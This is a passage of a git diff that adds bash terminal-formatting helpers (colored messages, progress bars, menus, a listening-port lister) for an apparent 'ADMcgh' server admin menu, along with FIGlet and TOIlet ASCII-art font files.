+ -nama) cor="${COLOR[3]}${NEGRITO}" && echo -ne "${cor}${2}${SEMCOR}";; + -t)toilet -f future "$2"|lolcat;; + -verm3)cor="${COLOR[1]}" && echo -e "${cor}${2}${SEMCOR}";; + -teal) cor="${COLOR[7]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -teal2)cor="${COLOR[7]}" && echo -e "${cor}${2}${SEMCOR}";; + -blak) cor="\e[1;30m${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -fi)txt=($(echo "$@"|sed 's/-fi//g'|awk -F ";" '{print $1,$2}')) && echo -e "\e[1;37m${txt[0]} \e[1;30m[\e[38;5;219m#${txt[1]}\e[1;30m]";; + -blak2)cor="${COLOR[8]}" && echo -e "${cor}${2}${SEMCOR}";; + -blu) cor="${COLOR[9]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -blu1) cor="${COLOR[9]}" && echo -e "${cor}${2}${SEMCOR}";; + #-bar)ccor="${COLOR[1]}•••••••••••••••••••••••••••••••••••••••••••••••••" && echo -e "${SEMCOR}${ccor}${SEMCOR}";; + #-bar)ccor="${COLOR[3]}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" && echo -e "${SEMCOR}${ccor}${SEMCOR}";; + -bar)ccor="${COLOR[3]}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" && echo -e "${SEMCOR}${ccor}${SEMCOR}";; + -bar1)ccor="${COLOR[1]}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" && echo -e "${SEMCOR}${ccor}${SEMCOR}";; + -bar2)ccor="${COLOR[1]}=====================================================" && echo -e "${SEMCOR}${ccor}${SEMCOR}";; + -bar3)ccor="${COLOR[3]}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" && echo -e "${SEMCOR}${ccor}${SEMCOR}";; + -bar4)ccor="${COLOR[5]}•••••••••••••••••••••••••••••••••••••••••••••••••" && echo -e "${SEMCOR}${ccor}${SEMCOR}";; + esac +} + +fun_bar() { +comando[0]="$1" +comando[1]="$2" + ( +[[ -e $HOME/fim ]] && rm $HOME/fim +${comando[0]} -y > /dev/null 2>&1 +${comando[1]} -y > /dev/null 2>&1 +touch $HOME/fim + ) > /dev/null 2>&1 & +echo -ne "\033[1;33m [" +while true; do + for((i=0; i<18; i++)); do + echo -ne "\033[1;31m##" + sleep 0.1s + done + [[ -e $HOME/fim ]] && rm $HOME/fim && break + echo -e "\033[1;33m]" + sleep 1s + tput cuu1 + tput dl1 + echo -ne "\033[1;33m [" +done +echo -e "\033[1;33m]\033[1;31m -\033[1;32m 100%\033[1;37m" +} + +del(){ + for (( i = 0; i <= $1; i++ )); do + tput cuu1 && tput dl1 + done +} + +mportas() { +unset portas +portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN") +while read port; do +var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}') +[[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n" +done <<< "$portas_var" +i=1 +echo -e "$portas" +} + +fun_bar3(){ +fun_bar "$@" +} + +printext(){ +unset text length content +local text=$@ +local length=${#text} +function random(){ shuf -i 1-220 -n 1 ; } +for((i=0;i<=$length;i++));do + content+="\e[38;5;$(random)m${text:$i:1}" +done +echo -ne "$content" +} + +cor[0]="\033[0m" +cor[1]="\033[1;34m" +cor[2]="\033[1;32m" +cor[3]="\033[1;37m" +cor[4]="\033[1;36m" +cor[5]="\033[1;33m" +cor[6]="\033[1;35m" + +export -f msg +export -f fun_bar +export -f tittle +export -f enter +export -f back +export -f print_center +export -f in_opcion +export -f del + diff --git a/msg-bar/msg b/msg-bar/msg new file mode 100644 index 0000000..8377f53 --- /dev/null +++ b/msg-bar/msg @@ -0,0 +1,250 @@ +#!/bin/bash + +flech='➮' cOlM='⁙' && TOP='‣' && TTini='=====>>►► 🐲' && cG='/c' && TTfin='🐲 ◄◄<<=====' && TTcent='💥' && RRini='【 ★' && RRfin='★ 】' && CHeko='✅' && ScT='🛡️' && FlT='⚔️' && BoLCC='🪦' && ceLL='🧬' && aLerT='⚠️' && _kl1='ghkey' && lLaM='🔥' && pPIniT='∘' && bOTg='🤖' && kL10='tc' && rAy='⚡' && tTfIn='】' && TtfIn='【' tTfLe='►' && am1='/e' && rUlq='🔰' && h0nG='🍄' && lLav3='🗝️' && m3ssg='📩' && pUn5A='⚜' && p1t0='•' nib="${am1}${kL10}" +cOpyRig='©' && mbar2=' •••••••••••••••••••••••' + +sdir[0]='/etc/adm-lite' +sdir[1]='/usr/local/lib/drowkid' # /bin/ejecutar +sdir[2]='/usr/local/sbin/chukk' # /ADMcgh + + +menu_func(){ + local options=${#@} + local array + for((num=1; num<=$options; num++)); do + echo -ne "\033[0;35m [\033[0;36m$num\033[0;35m]\033[0;33m ${flech} " + #echo -ne " \033[0;35m [\033[0;36m$num\033[0;35m]\033[0;33m ${flech} " + array=(${!num}) + case ${array[0]} in + "-vm")txt=$(echo ${array[@]}|sed 's/-vm//g') && echo -e "\033[1;30m[\e[1;31m!\e[1;30m]\033[1;31m$txt \e[1;30m[\e[1;31m!\e[1;30m]";; + "-fi")txt=( [0]="$(echo "${array[@]}"|sed 's/-fi//g'|cut -d';' -f1|sed 's/ //')" [1]="$(echo "${array[@]}"|sed 's/-fi//g'|cut -d';' -f2)") && echo -e "\e[1;37m${txt[0]} \e[1;30m[\e[38;5;219m#${txt[1]}\e[1;30m]";; + -bar|-bar2|-bar3|-bar4)echo -e "\033[1;37m${array[@]:1}\n$(msg ${array[0]})";; + *)echo -e "\033[1;37m${array[@]}";; + esac + done + } + + +selection_fun() { +local selection="null" +local range +for((i=0; i<=$1; i++)); do range[$i]="$i "; done +while [[ ! $(echo ${range[*]}|grep -w "$selection") ]]; do +echo -ne "\033[1;30m╰► Seleccione su opción: \e[1;32m" >&2 +read selection +tput cuu1 >&2 && tput dl1 >&2 +done +echo $selection +} + + +tittle() { +[[ -z $1 ]] && rt='adm-lite' || rt='ADMcgh' + clear&&clear + msg -bar +echo -e " ┏━╸╻ ╻╻ ╻╻┏ ╻┏ ┏━┓┏━╸┏━┓╻┏━┓╺┳╸ + ┃ ┣━┫┃ ┃┣┻┓┣┻┓╺━╸┗━┓┃ ┣┳┛┃┣━┛ ┃ + ┗━╸╹ ╹┗━┛╹ ╹╹ ╹ ┗━┛┗━╸╹┗╸╹╹ ╹"|lolcat + msg -bar +} +in_opcion(){ + unset opcion + if [[ -z $2 ]]; then + msg -nazu " $1: " >&2 + else + msg $1 " $2: " >&2 + fi + read opcion + echo "$opcion" +} +# centrado de texto +print_center(){ + if [[ -z $2 ]]; then + text="$1" + else + col="$1" + text="$2" + fi + + while read line; do + unset space + x=$(( ( 54 - ${#line}) / 2)) + for (( i = 0; i < $x; i++ )); do + space+=' ' + done + space+="$line" + if [[ -z $2 ]]; then + msg -azu "$space" + else + msg "$col" "$space" + fi + done <<< $(echo -e "$text") +} +# titulos y encabesados +title(){ + clear + msg -bar + if [[ -z $2 ]]; then + print_center -azu "$1" + else + msg "$@" + fi + msg -bar + } + +# finalizacion de tareas +enter(){ + msg -bar + text="►► enter para continuar ◄◄" + if [[ -z $1 ]]; then + print_center -blak "$text" + else + print_center "$1" "$text" + fi + read +} + +# opcion, regresar volver/atras +back(){ + msg -bar + echo -ne " \033[0;35m [\033[0;36m0\033[0;35m]\033[0;33m ${flech} \e[1;37m\e[41mSALIR\e[0m\n" + msg -bar + } + +msg() { +local colors='colores.conf' +if [[ ! -e $colors ]]; then +COLOR[0]='\033[1;37m' #BRAN='\033[1;37m' +COLOR[1]='\e[31m' #VERMELHO='\e[31m' +COLOR[2]='\e[32m' #VERDE='\e[32m' +COLOR[3]='\e[33m' #AMARELO='\e[33m' +COLOR[4]='\e[34m' #AZUL='\e[34m' +COLOR[5]='\e[35m' #MAGENTA='\e[35m' +COLOR[6]='\033[1;97m' #MAG='\033[1;36m' +COLOR[7]='\033[1;49;95m' +COLOR[8]='\033[1;49;96m' +else +local COL=0 +for number in $(cat $colors); do +case $number in +1)COLOR[$COL]='\033[1;37m';; +2)COLOR[$COL]='\e[31m';; +3)COLOR[$COL]='\e[32m';; +4)COLOR[$COL]='\e[33m';; +5)COLOR[$COL]='\e[34m';; +6)COLOR[$COL]='\e[35m';; +7)COLOR[$COL]='\033[1;36m';; +8)COLOR[$COL]='\033[1;49;95m';; +9)COLOR[$COL]='\033[1;49;96m';; +esac +let COL++ +done +fi +NEGRITO='\e[1m' +SEMCOR='\e[0m' + case $1 in + -ne)cor="${COLOR[1]}${NEGRITO}" && echo -ne "${cor}${2}${SEMCOR}";; + -ama)cor="${COLOR[3]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -r | -red)echo -e "\e[91m$2\e[0m";; + -verm)echo -e "\e[1;30m[\e[1;31m!\e[1;30m] \e[91m$2 \e[1;30m[\e[1;91m!\e[1;30m]\e[0m";; + -verm2)cor="${COLOR[1]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -aqua)cor="${COLOR[8]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -azu)cor="${COLOR[6]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -verd)cor="${COLOR[2]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -bra)cor="${COLOR[0]}${SEMCOR}" && echo -e "${cor}${2}${SEMCOR}";; + -nazu) cor="${COLOR[6]}${NEGRITO}" && echo -ne "${cor}${2}${SEMCOR}";; + -nverd)cor="${COLOR[2]}${NEGRITO}" && echo -ne "${cor}${2}${SEMCOR}";; + -nama) cor="${COLOR[3]}${NEGRITO}" && echo -ne "${cor}${2}${SEMCOR}";; + -t)toilet -f future "$2"|lolcat;; + -verm3)cor="${COLOR[1]}" && echo -e "${cor}${2}${SEMCOR}";; + -teal) cor="${COLOR[7]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -teal2)cor="${COLOR[7]}" && echo -e "${cor}${2}${SEMCOR}";; + -blak) cor="\e[1;30m${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -fi)txt=($(echo "$@"|sed 's/-fi//g'|awk -F ";" '{print $1,$2}')) && echo -e "\e[1;37m${txt[0]} \e[1;30m[\e[38;5;219m#${txt[1]}\e[1;30m]";; + -blak2)cor="${COLOR[8]}" && echo -e "${cor}${2}${SEMCOR}";; + -blu) cor="${COLOR[9]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -blu1) cor="${COLOR[9]}" && echo -e "${cor}${2}${SEMCOR}";; + #-bar)ccor="${COLOR[1]}•••••••••••••••••••••••••••••••••••••••••••••••••" && echo -e "${SEMCOR}${ccor}${SEMCOR}";; + #-bar)ccor="${COLOR[3]}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" && echo -e "${SEMCOR}${ccor}${SEMCOR}";; + -bar)ccor="${COLOR[3]}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" && echo -e "${SEMCOR}${ccor}${SEMCOR}";; + -bar1)ccor="${COLOR[1]}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" && echo -e "${SEMCOR}${ccor}${SEMCOR}";; + -bar2)ccor="${COLOR[1]}=====================================================" && echo -e "${SEMCOR}${ccor}${SEMCOR}";; + -bar3)ccor="${COLOR[3]}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" && echo -e "${SEMCOR}${ccor}${SEMCOR}";; + -bar4)ccor="${COLOR[5]}•••••••••••••••••••••••••••••••••••••••••••••••••" && echo -e "${SEMCOR}${ccor}${SEMCOR}";; + esac +} + +fun_bar() { +comando[0]="$1" +comando[1]="$2" + ( +[[ -e $HOME/fim ]] && rm $HOME/fim +${comando[0]} -y > /dev/null 2>&1 +${comando[1]} -y > /dev/null 2>&1 +touch $HOME/fim + ) > /dev/null 2>&1 & +echo -ne "\033[1;33m [" +while true; do + for((i=0; i<18; i++)); do + echo -ne "\033[1;31m##" + sleep 0.1s + done + [[ -e $HOME/fim ]] && rm $HOME/fim && break + echo -e "\033[1;33m]" + sleep 1s + tput cuu1 + tput dl1 + echo -ne "\033[1;33m [" +done +echo -e "\033[1;33m]\033[1;31m -\033[1;32m 100%\033[1;37m" +} + +del(){ + for (( i = 0; i <= $1; i++ )); do + tput cuu1 && tput dl1 + done +} + +mportas() { +unset portas +portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN") +while read port; do + var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}') + [[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n" +done <<< "$portas_var" +i=1 +echo -e "$portas" +} + +fun_bar3(){ +fun_bar "$@" +} + +printext(){ +unset text length content +local text=$@ +local length=${#text} + function random(){ shuf -i 1-220 -n 1 ; } +for((i=0;i<=$length;i++));do + content+="\e[38;5;$(random)m${text:$i:1}" +done +echo -ne "$content" +} + +cor[0]="\033[0m" +cor[1]="\033[1;34m" +cor[2]="\033[1;32m" +cor[3]="\033[1;37m" +cor[4]="\033[1;36m" +cor[5]="\033[1;33m" +cor[6]="\033[1;35m" + +export -f msg +export -f fun_bar +export -f tittle +export -f enter +export -f back +export -f print_center +export -f in_opcion +export -f del + diff --git a/msg-bar/msg2 b/msg-bar/msg2 new file mode 100644 index 0000000..678f19d --- /dev/null +++ b/msg-bar/msg2 @@ -0,0 +1,39 @@ +#!/bin/bash +msg () { +local colors="/etc/new-adm-color" +if [[ ! -e $colors ]]; then +COLOR[0]='\033[1;37m' #BRAN='\033[1;37m' +COLOR[1]='\e[31m' #VERMELHO='\e[31m' +COLOR[2]='\e[32m' #VERDE='\e[32m' +COLOR[3]='\e[33m' #AMARELO='\e[33m' +COLOR[4]='\e[34m' #AZUL='\e[34m' +COLOR[5]='\e[91m' #MAGENTA='\e[35m' +COLOR[6]='\033[1;97m' #MAG='\033[1;36m' +else +local COL=0 +for number in $(cat $colors); do +case $number in +1) COLOR[$COL]='\033[1;37m';; +2) COLOR[$COL]='\e[31m';; +3) COLOR[$COL]='\e[32m';; +4) COLOR[$COL]='\e[33m';; +5) COLOR[$COL]='\e[34m';; +6) COLOR[$COL]='\e[35m';; +7) COLOR[$COL]='\033[1;36m';; +esac +let COL++ +done +fi +NEGRITO='\e[1m' +SEMCOR='\e[0m' + case $1 in + -ne) ccor="${COLOR[1]}${NEGRITO}" && echo -ne "${ccor}${2}${SEMCOR}";; + -ama) ccor="${COLOR[3]}${NEGRITO}" && echo -e "${ccor}${2}${SEMCOR}";; + -verm) ccor="${COLOR[3]}${NEGRITO}[!] ${COLOR[1]}" && echo -e "${ccor}${2}${SEMCOR}";; + -verm2) ccor="${COLOR[1]}${NEGRITO}" && echo -e "${ccor}${2}${SEMCOR}";; + -azu) ccor="${COLOR[6]}${NEGRITO}" && echo -e "${ccor}${2}${SEMCOR}";; + -verd) ccor="${COLOR[2]}${NEGRITO}" && echo -e "${ccor}${2}${SEMCOR}";; + -bra) ccor="${COLOR[0]}${SEMCOR}" && echo -e "${ccor}${2}${SEMCOR}";; + "-bar2"|"-bar") ccor="${COLOR[1]}•••••••••••••••••••••••••••••••••••••••••••••••••" && echo -e "${SEMCOR}${ccor}${SEMCOR}";; + esac +} diff --git a/otros/fonts/ansi.flf b/otros/fonts/ansi.flf new file mode 100644 index 0000000..61ee783 --- /dev/null +++ b/otros/fonts/ansi.flf @@ -0,0 +1,722 @@ +flf2a$ 7 7 13 0 7 0 64 0 +Font Author: ? + +More Info: + +https://web.archive.org/web/20120819044459/http://www.roysac.com/thedrawfonts-tdf.asp + +FIGFont created with: http://patorjk.com/figfont-editor +$ $@ +$ $@ +$ $@ +$ $@ +$ $@ +$ $@ +$ $@@ +██╗@ +██║@ +██║@ +╚═╝@ +██╗@ +╚═╝@ + @@ +@ +@ +@ +@ +@ +@ +@@ + ██╗ ██╗ @ +████████╗@ +╚██╔═██╔╝@ +████████╗@ +╚██╔═██╔╝@ + ╚═╝ ╚═╝ @ + @@ +▄▄███▄▄·@ +██╔════╝@ +███████╗@ +╚════██║@ +███████║@ +╚═▀▀▀══╝@ + @@ +██╗ ██╗@ +╚═╝██╔╝@ + ██╔╝ @ + ██╔╝ @ +██╔╝██╗@ +╚═╝ ╚═╝@ + @@ + ██╗ @ + ██║ @ +████████╗@ +██╔═██╔═╝@ +██████║ @ +╚═════╝ @ + @@ +@ +@ +@ +@ +@ +@ +@@ + ██╗@ +██╔╝@ +██║ @ +██║ @ +╚██╗@ + ╚═╝@ + @@ +██╗ @ +╚██╗@ + ██║@ + ██║@ +██╔╝@ +╚═╝ @ + @@ + @ +▄ ██╗▄@ + ████╗@ +▀╚██╔▀@ + ╚═╝ @ + @ + @@ +@ +@ +@ +@ +@ +@ +@@ + @ + @ + @ + @ +▄█╗@ +╚═╝@ + @@ + @ + @ +█████╗@ +╚════╝@ + @ + @ + @@ + @ + @ + @ + @ +██╗@ +╚═╝@ + @@ + ██╗@ + ██╔╝@ + ██╔╝ @ + ██╔╝ @ +██╔╝ @ +╚═╝ @ + @@ + ██████╗ @ +██╔═████╗@ +██║██╔██║@ +████╔╝██║@ +╚██████╔╝@ + ╚═════╝ @ + @@ + ██╗@ +███║@ +╚██║@ + ██║@ + ██║@ + ╚═╝@ + @@ +██████╗ @ +╚════██╗@ + █████╔╝@ +██╔═══╝ @ +███████╗@ +╚══════╝@ + @@ +██████╗ @ +╚════██╗@ + █████╔╝@ + ╚═══██╗@ +██████╔╝@ +╚═════╝ @ + @@ +██╗ ██╗@ +██║ ██║@ +███████║@ +╚════██║@ + ██║@ + ╚═╝@ + @@ +███████╗@ +██╔════╝@ +███████╗@ +╚════██║@ +███████║@ +╚══════╝@ + @@ + ██████╗ @ +██╔════╝ @ +███████╗ @ +██╔═══██╗@ +╚██████╔╝@ + ╚═════╝ @ + @@ +███████╗@ +╚════██║@ + ██╔╝@ + ██╔╝ @ + ██║ @ + ╚═╝ @ + @@ + █████╗ @ +██╔══██╗@ +╚█████╔╝@ +██╔══██╗@ +╚█████╔╝@ + ╚════╝ @ + @@ + █████╗ @ +██╔══██╗@ +╚██████║@ + ╚═══██║@ + █████╔╝@ + ╚════╝ @ + @@ + @ +██╗@ +╚═╝@ +██╗@ +╚═╝@ + @ + @@ + @ +██╗@ +╚═╝@ +▄█╗@ +▀═╝@ + @ + @@ + ██╗@ + ██╔╝@ +██╔╝ @ +╚██╗ @ + ╚██╗@ + ╚═╝@ + @@ +@ +@ +@ +@ +@ +@ +@@ +██╗ @ +╚██╗ @ + ╚██╗@ + ██╔╝@ +██╔╝ @ +╚═╝ @ + @@ +██████╗ @ +╚════██╗@ + ▄███╔╝@ + ▀▀══╝ @ + ██╗ @ + ╚═╝ @ + @@ + ██████╗ @ +██╔═══██╗@ +██║██╗██║@ +██║██║██║@ +╚█║████╔╝@ + ╚╝╚═══╝ @ + @@ + █████╗ @ +██╔══██╗@ +███████║@ +██╔══██║@ +██║ ██║@ +╚═╝ ╚═╝@ + @@ +██████╗ @ +██╔══██╗@ +██████╔╝@ +██╔══██╗@ +██████╔╝@ +╚═════╝ @ + @@ + ██████╗@ +██╔════╝@ +██║ @ +██║ @ +╚██████╗@ + ╚═════╝@ + @@ +██████╗ @ +██╔══██╗@ +██║ ██║@ +██║ ██║@ +██████╔╝@ +╚═════╝ @ + @@ +███████╗@ +██╔════╝@ +█████╗ @ +██╔══╝ @ +███████╗@ +╚══════╝@ + @@ +███████╗@ +██╔════╝@ +█████╗ @ +██╔══╝ @ +██║ @ +╚═╝ @ + @@ + ██████╗ @ +██╔════╝ @ +██║ ███╗@ +██║ ██║@ +╚██████╔╝@ + ╚═════╝ @ + @@ +██╗ ██╗@ +██║ ██║@ +███████║@ +██╔══██║@ +██║ ██║@ +╚═╝ ╚═╝@ + @@ +██╗@ +██║@ +██║@ +██║@ +██║@ +╚═╝@ + @@ + ██╗@ + ██║@ + ██║@ +██ ██║@ +╚█████╔╝@ + ╚════╝ @ + @@ +██╗ ██╗@ +██║ ██╔╝@ +█████╔╝ @ +██╔═██╗ @ +██║ ██╗@ +╚═╝ ╚═╝@ + @@ +██╗ @ +██║ @ +██║ @ +██║ @ +███████╗@ +╚══════╝@ + @@ +███╗ ███╗@ +████╗ ████║@ +██╔████╔██║@ +██║╚██╔╝██║@ +██║ ╚═╝ ██║@ +╚═╝ ╚═╝@ + @@ +███╗ ██╗@ +████╗ ██║@ +██╔██╗ ██║@ +██║╚██╗██║@ +██║ ╚████║@ +╚═╝ ╚═══╝@ + @@ + ██████╗ @ +██╔═══██╗@ +██║ ██║@ +██║ ██║@ +╚██████╔╝@ + ╚═════╝ @ + @@ +██████╗ @ +██╔══██╗@ +██████╔╝@ +██╔═══╝ @ +██║ @ +╚═╝ @ + @@ + ██████╗ @ +██╔═══██╗@ +██║ ██║@ +██║▄▄ ██║@ +╚██████╔╝@ + ╚══▀▀═╝ @ + @@ +██████╗ @ +██╔══██╗@ +██████╔╝@ +██╔══██╗@ +██║ ██║@ +╚═╝ ╚═╝@ + @@ +███████╗@ +██╔════╝@ +███████╗@ +╚════██║@ +███████║@ +╚══════╝@ + @@ +████████╗@ +╚══██╔══╝@ + ██║ @ + ██║ @ + ██║ @ + ╚═╝ @ + @@ +██╗ ██╗@ +██║ ██║@ +██║ ██║@ +██║ ██║@ +╚██████╔╝@ + ╚═════╝ @ + @@ +██╗ ██╗@ +██║ ██║@ +██║ ██║@ +╚██╗ ██╔╝@ + ╚████╔╝ @ + ╚═══╝ @ + @@ +██╗ ██╗@ +██║ ██║@ +██║ █╗ ██║@ +██║███╗██║@ +╚███╔███╔╝@ + ╚══╝╚══╝ @ + @@ +██╗ ██╗@ +╚██╗██╔╝@ + ╚███╔╝ @ + ██╔██╗ @ +██╔╝ ██╗@ +╚═╝ ╚═╝@ + @@ +██╗ ██╗@ +╚██╗ ██╔╝@ + ╚████╔╝ @ + ╚██╔╝ @ + ██║ @ + ╚═╝ @ + @@ +███████╗@ +╚══███╔╝@ + ███╔╝ @ + ███╔╝ @ +███████╗@ +╚══════╝@ + @@ +███╗@ +██╔╝@ +██║ @ +██║ @ +███╗@ +╚══╝@ + @@ +@ +@ +@ +@ +@ +@ +@@ +███╗@ +╚██║@ + ██║@ + ██║@ +███║@ +╚══╝@ + @@ + ███╗ @ +██╔██╗@ +╚═╝╚═╝@ + @ + @ + @ + @@ + @ + @ + @ + @ +███████╗@ +╚══════╝@ + @@ +@ +@ +@ +@ +@ +@ +@@ + █████╗ @ +██╔══██╗@ +███████║@ +██╔══██║@ +██║ ██║@ +╚═╝ ╚═╝@ + @@ +██████╗ @ +██╔══██╗@ +██████╔╝@ +██╔══██╗@ +██████╔╝@ +╚═════╝ @ + @@ + ██████╗@ +██╔════╝@ +██║ @ +██║ @ +╚██████╗@ + ╚═════╝@ + @@ +██████╗ @ +██╔══██╗@ +██║ ██║@ +██║ ██║@ +██████╔╝@ +╚═════╝ @ + @@ +███████╗@ +██╔════╝@ +█████╗ @ +██╔══╝ @ +███████╗@ +╚══════╝@ + @@ +███████╗@ +██╔════╝@ +█████╗ @ +██╔══╝ @ +██║ @ +╚═╝ @ + @@ + ██████╗ @ +██╔════╝ @ +██║ ███╗@ +██║ ██║@ +╚██████╔╝@ + ╚═════╝ @ + @@ +██╗ ██╗@ +██║ ██║@ +███████║@ +██╔══██║@ +██║ ██║@ +╚═╝ ╚═╝@ + @@ +██╗@ +██║@ +██║@ +██║@ +██║@ +╚═╝@ + @@ + ██╗@ + ██║@ + ██║@ +██ ██║@ +╚█████╔╝@ + ╚════╝ @ + @@ +██╗ ██╗@ +██║ ██╔╝@ +█████╔╝ @ +██╔═██╗ @ +██║ ██╗@ +╚═╝ ╚═╝@ + @@ +██╗ @ +██║ @ +██║ @ +██║ @ +███████╗@ +╚══════╝@ + @@ +███╗ ███╗@ +████╗ ████║@ +██╔████╔██║@ +██║╚██╔╝██║@ +██║ ╚═╝ ██║@ +╚═╝ ╚═╝@ + @@ +███╗ ██╗@ +████╗ ██║@ +██╔██╗ ██║@ +██║╚██╗██║@ +██║ ╚████║@ +╚═╝ ╚═══╝@ + @@ + ██████╗ @ +██╔═══██╗@ +██║ ██║@ +██║ ██║@ +╚██████╔╝@ + ╚═════╝ @ + @@ +██████╗ @ +██╔══██╗@ +██████╔╝@ +██╔═══╝ @ +██║ @ +╚═╝ @ + @@ + ██████╗ @ +██╔═══██╗@ +██║ ██║@ +██║▄▄ ██║@ +╚██████╔╝@ + ╚══▀▀═╝ @ + @@ +██████╗ @ +██╔══██╗@ +██████╔╝@ +██╔══██╗@ +██║ ██║@ +╚═╝ ╚═╝@ + @@ +███████╗@ +██╔════╝@ +███████╗@ +╚════██║@ +███████║@ +╚══════╝@ + @@ +████████╗@ +╚══██╔══╝@ + ██║ @ + ██║ @ + ██║ @ + ╚═╝ @ + @@ +██╗ ██╗@ +██║ ██║@ +██║ ██║@ +██║ ██║@ +╚██████╔╝@ + ╚═════╝ @ + @@ +██╗ ██╗@ +██║ ██║@ +██║ ██║@ +╚██╗ ██╔╝@ + ╚████╔╝ @ + ╚═══╝ @ + @@ +██╗ ██╗@ +██║ ██║@ +██║ █╗ ██║@ +██║███╗██║@ +╚███╔███╔╝@ + ╚══╝╚══╝ @ + @@ +██╗ ██╗@ +╚██╗██╔╝@ + ╚███╔╝ @ + ██╔██╗ @ +██╔╝ ██╗@ +╚═╝ ╚═╝@ + @@ +██╗ ██╗@ +╚██╗ ██╔╝@ + ╚████╔╝ @ + ╚██╔╝ @ + ██║ @ + ╚═╝ @ + @@ +███████╗@ +╚══███╔╝@ + ███╔╝ @ + ███╔╝ @ +███████╗@ +╚══════╝@ + @@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@@ \ No newline at end of file diff --git a/otros/fonts/future.tlf b/otros/fonts/future.tlf new file mode 100644 index 0000000..44a26aa --- /dev/null +++ b/otros/fonts/future.tlf @@ -0,0 +1,457 @@ +tlf2a 3 3 8 -1 22 0 0 0 +=============================================================================== + This is future.tlf, or “Future”, by Sam Hocevar. + + 2006/10/01 -- Sam Hocevar + font creation + still missing: # % ( ) * / < > \ ^ ~ + 2006/10/02 -- Sam Hocevar + added Unicode block and line glyphs + added: % ( ) * / \ ~ + fixed: & 2 5 X + + This font is free software. It comes without any warranty, to the extent +permitted by applicable law. You can redistribute it and/or modify it under +the terms of the Do What The Fuck You Want To Public License, Version 2, +as published by Sam Hocevar. See http://sam.zoy.org/wtfpl/COPYING for more +details. + + Missing characters: # < > ^ + + This font is part of TOIlet’s official distribution. More information +on the TOIlet website at http://caca.zoy.org/wiki/toilet +=============================================================================== + @ + @ + @@ +╻! +╹! +╹!! +╻╻" + " + "" + @ + @ +#@@ +┏┳┓$ +┗╋┓$ +┗┻┛$$ +┏┓╻% +┏━┛% +╹┗┛%% +┏┓ & +┃╺╋╸& +┗━┛ && +╻' + ' + '' +┏╸( +┃ ( +┗╸(( +╺┓) + ┃) +╺┛)) +╻ ╻* +╺╋╸* +╹ ╹** + ╻ + +╺╋╸+ + ╹ ++ + , + , + ┛,, + - +╺━╸- + -- + . + . +╹.. + ╻/ +┏┛/ +╹ // +┏━┓0 +┃┃┃0 +┗━┛00 +╺┓ 1 + ┃ 1 +╺┻╸11 +┏━┓2 +┏━┛2 +┗━╸22 +┏━┓3 +╺━┫3 +┗━┛33 +╻ ╻4 +┗━┫4 + ╹44 +┏━╸5 +┗━┓5 +┗━┛55 +┏━┓6 +┣━┓6 +┗━┛66 +┏━┓7 + ┃7 + ╹77 +┏━┓8 +┣━┫8 +┗━┛88 +┏━┓9 +┗━┫9 +┗━┛99 + : +╹: +╹:: + ; + ╹; + ┛;; + @ + @ +<@@ + = +╺━╸= +╺━╸== + @ + @ +>@@ +┏━┓? + ╺┛? + ╹ ?? +┏━┓@ +┃┣┛@ +┗━╸@@ +┏━┓A +┣━┫A +╹ ╹AA +┏┓ B +┣┻┓B +┗━┛BB +┏━╸C +┃ C +┗━╸CC +╺┳┓D + ┃┃D +╺┻┛DD +┏━╸E +┣╸ E +┗━╸EE +┏━╸F +┣╸ F +╹ FF +┏━╸G +┃╺┓G +┗━┛GG +╻ ╻H +┣━┫H +╹ ╹HH +╻I +┃I +╹II + ┏┓J + ┃J +┗━┛JJ +╻┏ K +┣┻┓K +╹ ╹KK +╻ L +┃ L +┗━╸LL +┏┳┓M +┃┃┃M +╹ ╹MM +┏┓╻N +┃┗┫N +╹ ╹NN +┏━┓O +┃ ┃O +┗━┛OO +┏━┓P +┣━┛P +╹ PP +┏━┓Q +┃┓┃Q +┗┻┛QQ +┏━┓R +┣┳┛R +╹┗╸RR +┏━┓S +┗━┓S +┗━┛SS +╺┳╸T + ┃ T + ╹ TT +╻ ╻U +┃ ┃U +┗━┛UU +╻ ╻V +┃┏┛V +┗┛ VV +╻ ╻W +┃╻┃W 